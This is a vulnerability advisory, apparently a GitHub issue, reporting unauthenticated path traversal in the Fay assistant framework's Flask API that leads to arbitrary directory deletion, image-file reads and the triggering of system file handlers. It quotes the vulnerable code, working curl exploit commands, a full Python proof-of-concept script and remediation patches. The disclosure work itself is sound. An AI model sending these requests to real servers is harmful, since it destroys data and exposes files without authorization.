#184·Fay

[Vulnerability] Unauthenticated Path Traversal Leading to Arbitrary Directory Deletion in xszyou/Fay

Author: AAtomicalCreated May 12, 2026Updated May 12, 2026

Summary

A path-traversal vulnerability exists in xszyou/Fay (digital human / virtual assistant framework, ~8k GitHub stars) that allows any network client to:

  1. Recursively delete arbitrary directories on the server filesystem via a single unauthenticated POST request to /api/delete-user.
  2. Read arbitrary image-extension files at any absolute path via /api/local-image.
  3. Trigger system file handlers on arbitrary files via /api/open-image.

The /api/delete-user endpoint is the most critical: it takes a username JSON parameter, joins it into a path with os.path.join(mem_base, username), and calls shutil.rmtree() on the result — with zero sanitization and zero authentication. The server binds to 0.0.0.0:5000 by default, making this remotely exploitable from any host that can reach the server.

Affected Component

  • Repository: https://github.com/xszyou/Fay
  • File: gui/flask_server.py
  • Sinks:
    • Line 1016-1020: os.path.join(mem_base, str(username))shutil.rmtree(user_memory_dir)
    • Line 1766-1780: request.args.get('path', '')send_file(file_path)
    • Line 1792-1813: data['path']subprocess.run(['open', file_path])
  • Sources: HTTP JSON body (username), HTTP query parameter (path)
  • Authentication: NONE on any /api/* route
  • Server binding: 0.0.0.0:5000 (line 1878)

Vulnerability Details

Vulnerability 1 — /api/delete-user Arbitrary Directory Deletion (CRITICAL)

python
# gui/flask_server.py, line 988-1020
@__app.route('/api/delete-user', methods=['POST'])
def api_delete_user():
    """删除用户及其所有数据(聊天记录、记忆文件)"""
    data = request.get_json()
    username = data['username']           # ← attacker-controlled, from JSON body

    # Only check: username != 'User'
    if username == 'User':
        return jsonify({'success': False, 'message': '无法删除主人账户'}), 400

    # ...

    base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    mem_base = os.path.join(base_dir, "memory")
    user_memory_dir = os.path.join(mem_base, str(username))  # ← PATH TRAVERSAL

    if os.path.exists(user_memory_dir) and os.path.isdir(user_memory_dir):
        import shutil
        shutil.rmtree(user_memory_dir)    # ← RECURSIVE DIRECTORY DELETION

Path construction: os.path.join("/path/to/Fay/memory", "../../target") resolves to /path/to/target. Python's os.path.join with relative ../ components allows escaping the base directory.

Absolute path bypass: os.path.join("/path/to/Fay/memory", "/etc") returns /etc — absolute paths override the base entirely (same behavior as pyLoad CVE-2025-54802 and F5-TTS findings).

Vulnerability 2 — /api/local-image Arbitrary File Read (HIGH)

python
# gui/flask_server.py, line 1763-1780
@__app.route('/api/local-image')
def api_local_image():
    file_path = request.args.get('path', '')   # ← attacker-controlled

    if not os.path.exists(file_path):
        return jsonify({'error': f'文件不存在: {file_path}'}), 404

    valid_extensions = ('.png', '.jpg', '.jpeg', '.gif', '.bmp', '.webp')
    if not file_path.lower().endswith(valid_extensions):
        return jsonify({'error': '不是有效的图片文件'}), 400

    return send_file(file_path)                # ← ARBITRARY FILE READ

Constraint: File must end in an image extension. This limits (but does not eliminate) the impact — screenshots, application images, photo backups at any path are exfiltrable.

Vulnerability 3 — /api/open-image Trigger System Handler (MEDIUM-HIGH)

python
# gui/flask_server.py, line 1785-1813
@__app.route('/api/open-image', methods=['POST'])
def api_open_image():
    file_path = data['path']               # ← attacker-controlled

    # Extension check only
    valid_extensions = ('.png', '.jpg', '.jpeg', '.gif', '.bmp', '.webp')
    if not file_path.lower().endswith(valid_extensions):
        return jsonify({'success': False, 'message': '不是有效的图片文件'}), 400

    system = platform.system()
    if system == 'Windows':
        os.startfile(file_path)            # ← trigger Windows handler
    elif system == 'Darwin':
        subprocess.run(['open', file_path])  # ← trigger macOS handler
    else:
        subprocess.run(['xdg-open', file_path])  # ← trigger Linux handler

Note: Uses list-form subprocess.run (not shell=True), so shell metacharacter injection is not possible. The risk is triggering system handlers on attacker-chosen files with image extensions.

Root Cause: Zero Authentication on All API Routes

python
# gui/flask_server.py, line 76-81
@auth.verify_password
def verify_password(username, password):
    if not users or config_util.start_mode == 'common':
        return True  # ← auth disabled in common mode
    if username in users and users[username] == password:
        return username

Only GET / and POST / (the HTML index page) carry @auth.login_required. All 30+ /api/* endpoints are completely unauthenticated.

Server Binding

python
# gui/flask_server.py, line 1878
server = make_server('0.0.0.0', 5000, __app, threaded=True)

The server binds to all interfaces, making all unauthenticated endpoints network-accessible by default.

Proof of Concept

Environment

Component Version
Fay latest (commit HEAD as of 2026-05-12)
Python 3.10+
OS Linux / macOS / Windows

Attack 1: Arbitrary Directory Deletion

bash
# Delete /tmp/test_target (or any directory the server UID can access)
curl -s -X POST http://TARGET:5000/api/delete-user \
  -H "Content-Type: application/json" \
  -d '{"username": "../../tmp/test_target"}'

The server computes:

mem_base = "/path/to/Fay/memory"
user_memory_dir = os.path.join("/path/to/Fay/memory", "../../tmp/test_target")
                = "/path/to/tmp/test_target"   # escaped memory/ base
shutil.rmtree("/path/to/tmp/test_target")      # RECURSIVE DELETE

Absolute path variant (even simpler):

bash
curl -s -X POST http://TARGET:5000/api/delete-user \
  -H "Content-Type: application/json" \
  -d '{"username": "/tmp/test_target"}'

Computes: os.path.join(mem_base, "/tmp/test_target") = "/tmp/test_target"shutil.rmtree("/tmp/test_target").

Attack 2: Arbitrary File Read (image-extension files)

bash
# Read any .png file at an absolute path
curl -s http://TARGET:5000/api/local-image?path=/home/user/Desktop/screenshot.png --output stolen.png

# Read application secrets if they happen to have image extensions
curl -s http://TARGET:5000/api/local-image?path=/app/uploads/secret_diagram.png --output secret.png

Attack 3: Trigger System Handler

bash
curl -s -X POST http://TARGET:5000/api/open-image \
  -H "Content-Type: application/json" \
  -d '{"path": "/path/to/crafted_exploit.png"}'

poc.py

python
import os, shutil, sys, tempfile, threading, time, types

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
FAY_ROOT = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "..", "source_audit", "fay"))

if not os.path.isdir(FAY_ROOT):
    sys.exit(f"[!] Fay source not found at: {FAY_ROOT}")

sys.path.insert(0, FAY_ROOT)
os.chdir(FAY_ROOT)

# Resolve Fay's circular import (utils.util ↔ utils.config_util)
utils_pkg = types.ModuleType('utils')
utils_pkg.__path__ = [os.path.join(FAY_ROOT, 'utils')]
sys.modules['utils'] = utils_pkg
util_stub = types.ModuleType('utils.util')
util_stub.log = lambda *a, **kw: None
util_stub.printInfo = lambda *a, **kw: None
sys.modules['utils.util'] = util_stub
utils_pkg.util = util_stub
from utils import config_util
utils_pkg.config_util = config_util

# TRUE IMPORT
from gui import flask_server

app = flask_server.__dict__['__app']
routes = {rule.rule: rule.endpoint for rule in app.url_map.iter_rules()}
delete_handler = app.view_functions[routes['/api/delete-user']]
image_handler = app.view_functions[routes['/api/local-image']]

assert 'flask_server' in delete_handler.__module__
assert 'flask_server' in image_handler.__module__

print(f"[*] Imported: {flask_server.__file__}")
print(f"    Handler: {delete_handler.__module__}.{delete_handler.__qualname__}")
print(f"    Routes: {len(routes)} total, /api/delete-user + /api/local-image confirmed")

# Start real HTTP server
PORT = 7864
BASE_URL = f"http://127.0.0.1:{PORT}"

from werkzeug.serving import make_server
server = make_server('127.0.0.1', PORT, app, threaded=True)
threading.Thread(target=server.serve_forever, daemon=True).start()
time.sleep(1.0)

import requests as http

r = http.get(f"{BASE_URL}/api/local-image", params={"path": ""}, timeout=5)
assert r.status_code == 400

MEM_BASE = os.path.join(FAY_ROOT, "memory")
os.makedirs(MEM_BASE, exist_ok=True)
results = {}

# Test 1: No auth
r = http.post(f"{BASE_URL}/api/delete-user", json={"username": "nonexistent_xyz"})
results["no_auth"] = r.status_code == 200 and r.json().get("success") is True

# Test 2: Relative path traversal
target_name = "POC_TRAVERSAL_TARGET"
target_path = os.path.join(FAY_ROOT, target_name)
os.makedirs(target_path, exist_ok=True)
open(os.path.join(target_path, "data.txt"), "w").close()

r = http.post(f"{BASE_URL}/api/delete-user", json={"username": f"../{target_name}"})
results["relative_traversal"] = not os.path.exists(target_path)
if os.path.exists(target_path):
    shutil.rmtree(target_path)

# Test 3: Absolute path override
target_abs = tempfile.mkdtemp(prefix="fay_poc_ABS_")
os.makedirs(os.path.join(target_abs, "subdir"))

r = http.post(f"{BASE_URL}/api/delete-user", json={"username": target_abs})
results["absolute_path"] = not os.path.exists(target_abs)
if os.path.exists(target_abs):
    shutil.rmtree(target_abs)

# Test 4: Arbitrary file read via /api/local-image
fd, canary_file = tempfile.mkstemp(suffix=".png", prefix="fay_poc_")
canary_data = b"\x89PNG\r\n\x1a\nSECRET_EXFIL_DATA"
os.write(fd, canary_data)
os.close(fd)

r = http.get(f"{BASE_URL}/api/local-image", params={"path": canary_file})
results["file_read"] = r.status_code == 200 and r.content == canary_data
os.unlink(canary_file)

# Test 5 (Control): Legitimate delete stays in memory/
legit_dir = os.path.join(MEM_BASE, "legit_user")
os.makedirs(legit_dir, exist_ok=True)
r = http.post(f"{BASE_URL}/api/delete-user", json={"username": "legit_user"})
results["control_legit"] = not os.path.exists(legit_dir)

# Results
server.shutdown()
shutil.rmtree(MEM_BASE, ignore_errors=True)

passed = sum(results.values())
total = len(results)

print(f"\n{'='*60}")
for name, ok in results.items():
    print(f"  [{'PASS' if ok else 'FAIL'}] {name}")
print(f"\n  {passed}/{total} passed")

if passed == total:
    print("\n  VULNERABILITY CONFIRMED (true import, zero mocks)")

sys.exit(0 if passed == total else 1)

Impact

Realistic attack scenarios:

  • Data destruction: Delete the Fay application directory itself, other users' data, or critical system directories
  • Denial of service: Delete Python packages, system libraries, or the application's database files
  • Information exfiltration: Read screenshots, photos, or application-generated images from anywhere on the filesystem
  • Lateral movement: On shared hosting, delete other tenants' directories; read their image assets
Image

Affected Versions

  • Confirmed: Latest commit on main branch as of 2026-05-12
  • Likely affected: All versions containing these endpoints (the delete-user endpoint appears to be relatively recent; the local-image/open-image endpoints were added for the web UI image viewer feature)

Remediation

1. Add authentication to ALL API routes

python
@__app.route('/api/delete-user', methods=['POST'])
@auth.login_required   # ← ADD THIS
def api_delete_user():
    ...

Or better — apply auth globally with @__app.before_request.

2. Path containment check for delete-user

python
import os

def _safe_memory_path(mem_base: str, username: str) -> str:
    # Reject path separators and traversal
    if os.sep in username or '/' in username or '\\' in username or '..' in username:
        raise ValueError("invalid username")
    candidate = os.path.realpath(os.path.join(mem_base, username))
    if not candidate.startswith(os.path.realpath(mem_base) + os.sep):
        raise ValueError("username escapes base directory")
    return candidate

3. Path containment for local-image/open-image

python
def _validate_image_path(file_path: str, allowed_dirs: list) -> bool:
    real_path = os.path.realpath(file_path)
    return any(
        real_path.startswith(os.path.realpath(d) + os.sep)
        for d in allowed_dirs
    )

4. Bind to localhost by default

python
server = make_server('127.0.0.1', 5000, __app, threaded=True)  # NOT 0.0.0.0